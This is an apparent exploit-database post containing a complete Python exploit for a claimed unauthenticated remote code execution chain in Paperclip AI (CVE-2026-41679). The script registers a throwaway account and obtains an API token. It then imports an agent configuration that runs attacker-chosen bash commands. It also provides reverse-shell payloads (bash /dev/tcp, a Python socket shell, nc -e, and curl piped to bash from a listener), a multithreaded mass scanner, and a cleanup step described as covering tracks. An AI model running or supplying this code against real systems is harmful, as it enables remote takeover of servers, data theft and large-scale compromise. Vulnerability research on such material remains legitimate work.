📄 Paperclip AI Unauthenticated Remote Code Execution

==================================================================================================================================
    | # Title     : Paperclip AI Unauthenticated Remote Code Execution API Chain Exploit                                             |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://paperclip.ing/                                                                                           |
    ==================================================================================================================================
    
    [+] Summary    : This Python script describes an automated exploit for a presumed unauthenticated Remote Code Execution (RCE) vulnerability in Paperclip AI. 
                     The attack leverages a chain of six API requests to achieve code execution on a target system without valid authentication.
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    
    import argparse
    import json
    import random
    import string
    import time
    import requests
    import sys
    import base64
    import urllib3
    from urllib.parse import urljoin
    from concurrent.futures import ThreadPoolExecutor, as_completed
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    class PaperclipRCE:
        def __init__(self, target_url, verify_ssl=False, timeout=30, verbose=False):
            self.base_url = target_url.rstrip('/')
            self.verify_ssl = verify_ssl
            self.timeout = timeout
            self.verbose = verbose
            self.session = requests.Session()
            self.session.verify = verify_ssl
            self.session.headers.update({
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            })
            self.board_api_token = None
            self.company_id = None
            self.origin = self.base_url
        def log(self, msg, level="INFO"):
            colors = {
                "SUCCESS": "\033[92m[+]\033[0m",
                "ERROR": "\033[91m[-]\033[0m",
                "WARNING": "\033[93m[!]\033[0m",
                "INFO": "\033[96m[*]\033[0m",
                "PROC": "\033[94m[@]\033[0m"
            }
            print(f"{colors.get(level, '[*]')} {msg}")
        def get_paperclip_version(self):
            """Get Paperclip version from health endpoint"""
            try:
                resp = self.session.get(
                    urljoin(self.base_url, '/api/health'),
                    timeout=self.timeout
                )
                if resp.status_code == 200:
                    data = resp.json()
                    if 'version' in data:
                        version = data['version']
                        self.log(f"Paperclip version: {version}")
                        return version
                    else:
                        self.log("Paperclip instance detected (version unknown)", "SUCCESS")
                        return "unknown"
            except:
                pass
            return None
        def generate_random_email(self):
            """Generate random email for registration"""
            name = ''.join(random.choices(string.ascii_lowercase, k=8))
            domain = ''.join(random.choices(string.ascii_lowercase, k=6))
            return f"{name}@{domain}.com", name
        def step1_signup(self):
            """Step 1: Sign up and register a new user"""
            self.log("Step 1: Registering new user...")
            email, name = self.generate_random_email()
            password = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
            post_data = {
                "email": email,
                "password": password,
                "name": name
            }
            resp = self.session.post(
                urljoin(self.base_url, '/api/auth/sign-up/email'),
                json=post_data,
                timeout=self.timeout
            )
            if resp.status_code == 200 and 'createdAt' in resp.text:
                self.log(f"User registered: {email} / {password}", "SUCCESS")
                self.email = email
                self.password = password
                return True
            else:
                self.log(f"Signup failed: HTTP {resp.status_code}", "ERROR")
                return False
        def step2_signin(self):
            """Step 2: Sign in and get session cookie"""
            self.log("Step 2: Signing in...")
            post_data = {
                "email": self.email,
                "password": self.password
            }
            resp = self.session.post(
                urljoin(self.base_url, '/api/auth/sign-in/email'),
                json=post_data,
                timeout=self.timeout
            )
            if resp.status_code == 200 and 'token' in resp.text:
                self.session.cookies.update(resp.cookies)
                self.log("Authentication successful", "SUCCESS")
                return True
            else:
                self.log(f"Signin failed: HTTP {resp.status_code}", "ERROR")
                return False
        def step3_create_cli_challenge(self):
            """Step 3: Create CLI challenge and get API token"""
            self.log("Step 3: Creating CLI challenge...")
            command = ''.join(random.choices(string.ascii_lowercase, k=8))
            post_data = {"command": command}
            resp = self.session.post(
                urljoin(self.base_url, '/api/cli-auth/challenges'),
                json=post_data,
                timeout=self.timeout
            )
            if resp.status_code == 201:
                data = resp.json()
                if 'boardApiToken' in data:
                    self.board_api_token = data['boardApiToken']
                    self.challenge_id = data['id']
                    self.challenge_token = data['token']
                    self.log(f"Board API token obtained", "SUCCESS")
                    return True
            else:
                self.log(f"CLI challenge failed: HTTP {resp.status_code}", "ERROR")
                return False
        def step4_approve_challenge(self):
            """Step 4: Approve the challenge in your session"""
            self.log("Step 4: Approving challenge...")
            post_data = {"token": self.challenge_token}
            headers = {"Origin": self.origin}
            resp = self.session.post(
                urljoin(self.base_url, f'/api/cli-auth/challenges/{self.challenge_id}/approve'),
                json=post_data,
                headers=headers,
                timeout=self.timeout
            )
            if resp.status_code == 200 and 'error' not in resp.text.lower():
                self.log("Challenge approved", "SUCCESS")
                return True
            else:
                self.log(f"Challenge approval failed: HTTP {resp.status_code}", "ERROR")
                return False
        def step5_deploy_agent(self, command):
            """Step 5: Create company and deploy agent with payload"""
            self.log("Step 5: Deploying agent with payload...")
            if ' ' in command:
                cmd_parts = command.split(' ')
                cmd_formatted = f"bash -c \\\"{command}\\\""
            else:
                cmd_formatted = command
            
            post_data = {
                "source": {
                    "type": "inline",
                    "files": {
                        "COMPANY.md": "---\nname: MI6\nslug: MI6\n---\nx",
                        "agents/007/AGENTS.md": "---\nkind: agent\nname: 007\nslug: 007\nrole: engineer\n---\nx",
                        ".paperclip.yaml": f"""agents:
      007:
        icon: terminal
        adapter:
          type: process
          config:
            command: bash
            args:
              - -c
              - {cmd_formatted}"""
                    }
                },
                "target": {"mode": "new_company", "newCompanyName": "MI6"},
                "include": {"company": True, "agents": True},
                "agents": "all"
            }
            
            headers = {
                "Authorization": f"Bearer {self.board_api_token}",
                "Origin": self.origin
            }
            
            resp = self.session.post(
                urljoin(self.base_url, '/api/companies/import'),
                json=post_data,
                headers=headers,
                timeout=self.timeout
            )
            
            if resp.status_code == 200:
                data = resp.json()
                self.company_id = data.get('company', {}).get('id')
                agent_id = data.get('agents', [{}])[0].get('id')
                self.log(f"Company created: {self.company_id}, Agent ID: {agent_id}", "SUCCESS")
                return agent_id
            else:
                self.log(f"Agent deployment failed: HTTP {resp.status_code}", "ERROR")
                if self.verbose and resp.text:
                    self.log(f"Response: {resp.text[:200]}")
                return None
        
        def step6_trigger_payload(self, agent_id):
            """Step 6: Run the agent and trigger the payload"""
            self.log("Step 6: Triggering payload execution...")
            headers = {
                "Authorization": f"Bearer {self.board_api_token}",
                "Origin": self.origin
            }
            resp = self.session.post(
                urljoin(self.base_url, f'/api/agents/{agent_id}/wakeup'),
                headers=headers,
                timeout=self.timeout
            )
            if resp.status_code == 202:
                self.log("Payload triggered successfully!", "SUCCESS")
                return True
            else:
                self.log(f"Payload trigger failed: HTTP {resp.status_code}", "ERROR")
                return False
        def cleanup(self):
            """Clean up the company and agent to cover tracks"""
            if self.company_id and self.board_api_token:
                self.log("Cleaning up company and agent...", "PROC")
                headers = {
                    "Authorization": f"Bearer {self.board_api_token}",
                    "Origin": self.origin
                }
                resp = self.session.post(
                    urljoin(self.base_url, f'/api/companies/{self.company_id}/archive'),
                    headers=headers,
                    timeout=self.timeout
                )
                if resp.status_code == 200:
                    self.log("Company archived successfully", "SUCCESS")
                else:
                    self.log("Could not archive company", "WARNING")
        def execute_command(self, command):
            """Execute a single command via the exploit chain"""
            self.log(f"Executing command: {command}")
            if not self.step1_signup():
                return False
            if not self.step2_signin():
                return False
            if not self.step3_create_cli_challenge():
                return False
            if not self.step4_approve_challenge():
                return False
            agent_id = self.step5_deploy_agent(command)
            if not agent_id:
                return False
            if self.step6_trigger_payload(agent_id):
                self.log("Command executed successfully!", "SUCCESS")
                return True
            
            return False
        
        def reverse_shell(self, lhost, lport):
            """Deploy reverse shell payload"""
            rev_shells = [
                f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'",
                f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",
                f"nc -e /bin/sh {lhost} {lport}",
                f"curl http://{lhost}:{lport}/shell.sh | bash"
            ]
            
            for shell_cmd in rev_shells:
                self.log(f"Trying reverse shell: {shell_cmd[:50]}...")
                if self.execute_command(shell_cmd):
                    self.log("Reverse shell payload sent!", "SUCCESS")
                    return True
            
            return False
        
        def check_vulnerability(self):
            """Check if target is vulnerable"""
            self.log("Checking target vulnerability...")
            
            version = self.get_paperclip_version()
            if version is None:
                self.log("Could not detect Paperclip instance", "ERROR")
                return False
            
            if version != "unknown":
                try:
                    parts = version.split('.')
                    if len(parts) >= 3:
                        major, minor, patch = int(parts[0]), int(parts[1]), int(parts[2])
                        if major > 2026 or (major == 2026 and minor > 4) or (major == 2026 and minor == 4 and patch >= 10):
                            self.log(f"Version {version} appears patched", "WARNING")
                            return False
                except:
                    pass
            self.log("Target appears vulnerable", "SUCCESS")
            return True
        
        def run(self, command=None, lhost=None, lport=None, shell=False, cleanup=False):
            """Main exploit routine"""
            self.log(f"Target: {self.base_url}")
            if not self.check_vulnerability():
                if not command:
                    return False
            if command:
                success = self.execute_command(command)
            elif lhost and lport:
                success = self.reverse_shell(lhost, lport)
            elif shell:
                success = self.execute_command("echo 'Paperclip RCE successful' > /tmp/paperclip_pwned.txt")
            else:
                success = self.execute_command("id")
            if cleanup and success:
                self.cleanup()
            return success
    class MassScanner:
        def __init__(self, threads=10, timeout=30, verbose=False):
            self.threads = threads
            self.timeout = timeout
            self.verbose = verbose
            self.results = []
        def scan_target(self, url):
            """Scan a single target"""
            try:
                exploit = PaperclipRCE(url, timeout=self.timeout, verbose=self.verbose)
                if exploit.check_vulnerability():
                    return url
            except:
                pass
            return None
        def scan_from_file(self, file_path):
            """Scan targets from file"""
            with open(file_path, 'r') as f:
                targets = [line.strip() for line in f if line.strip()]
            print(f"[*] Scanning {len(targets)} targets with {self.threads} threads...")
            with ThreadPoolExecutor(max_workers=self.threads) as executor:
                futures = {executor.submit(self.scan_target, target): target for target in targets}
                for future in as_completed(futures):
                    result = future.result()
                    if result:
                        self.results.append(result)
                        print(f"\033[92m[VULNERABLE]\033[0m {result}")
            return self.results
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2026-41679 - Paperclip AI Unauthenticated RCE"
        )
        
        target_group = parser.add_mutually_exclusive_group(required=True)
        target_group.add_argument("-t", "--target", help="Target Paperclip URL")
        target_group.add_argument("-l", "--list", help="File containing list of targets")
        parser.add_argument("-c", "--cmd", help="Command to execute")
        parser.add_argument("--reverse-shell", action="store_true", help="Deploy reverse shell")
        parser.add_argument("--lhost", help="Listener host for reverse shell")
        parser.add_argument("--lport", type=int, help="Listener port for reverse shell")
        parser.add_argument("--shell", action="store_true", help="Test shell (creates test file)")
        parser.add_argument("--cleanup", action="store_true", help="Clean up company and agent after exploitation")
        parser.add_argument("--threads", type=int, default=10, help="Threads for mass scanning (default: 10)")
        parser.add_argument("--timeout", type=int, default=30, help="Request timeout (default: 30)")
        parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
        parser.add_argument("--insecure", action="store_true", help="Disable SSL verification")
        
        args = parser.parse_args()
        print("""
    ╔══════════════════════════════════════════════════════════════════╗
    ║  CVE-2026-41679 - Paperclip AI Unauthenticated RCE              ║
    ║  Remote Code Execution via Chain of 6 API Calls                 ║
    ╚══════════════════════════════════════════════════════════════════╝
        """)
        if args.list:
            scanner = MassScanner(
                threads=args.threads,
                timeout=args.timeout,
                verbose=args.verbose
            )
            results = scanner.scan_from_file(args.list)
            
            print(f"\n[*] Found {len(results)} vulnerable targets:")
            for url in results:
                print(f"  - {url}")
            if results:
                with open("vulnerable_targets.txt", 'w') as f:
                    for url in results:
                        f.write(f"{url}\n")
                print(f"[*] Results saved to vulnerable_targets.txt")
            sys.exit(0)
        elif args.target:
            exploit = PaperclipRCE(
                target_url=args.target,
                verify_ssl=not args.insecure,
                timeout=args.timeout,
                verbose=args.verbose
            )
            if args.reverse_shell:
                if not args.lhost or not args.lport:
                    print("[-] --reverse-shell requires --lhost and --lport")
                    sys.exit(1)
                success = exploit.run(lhost=args.lhost, lport=args.lport, cleanup=args.cleanup)
            elif args.cmd:
                success = exploit.run(command=args.cmd, cleanup=args.cleanup)
            elif args.shell:
                success = exploit.run(shell=True, cleanup=args.cleanup)
            else:
                success = exploit.run(cleanup=args.cleanup)
            
            sys.exit(0 if success else 1)
        else:
            parser.print_help()
            sys.exit(1)
    if __name__ == "__main__":
        main()
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================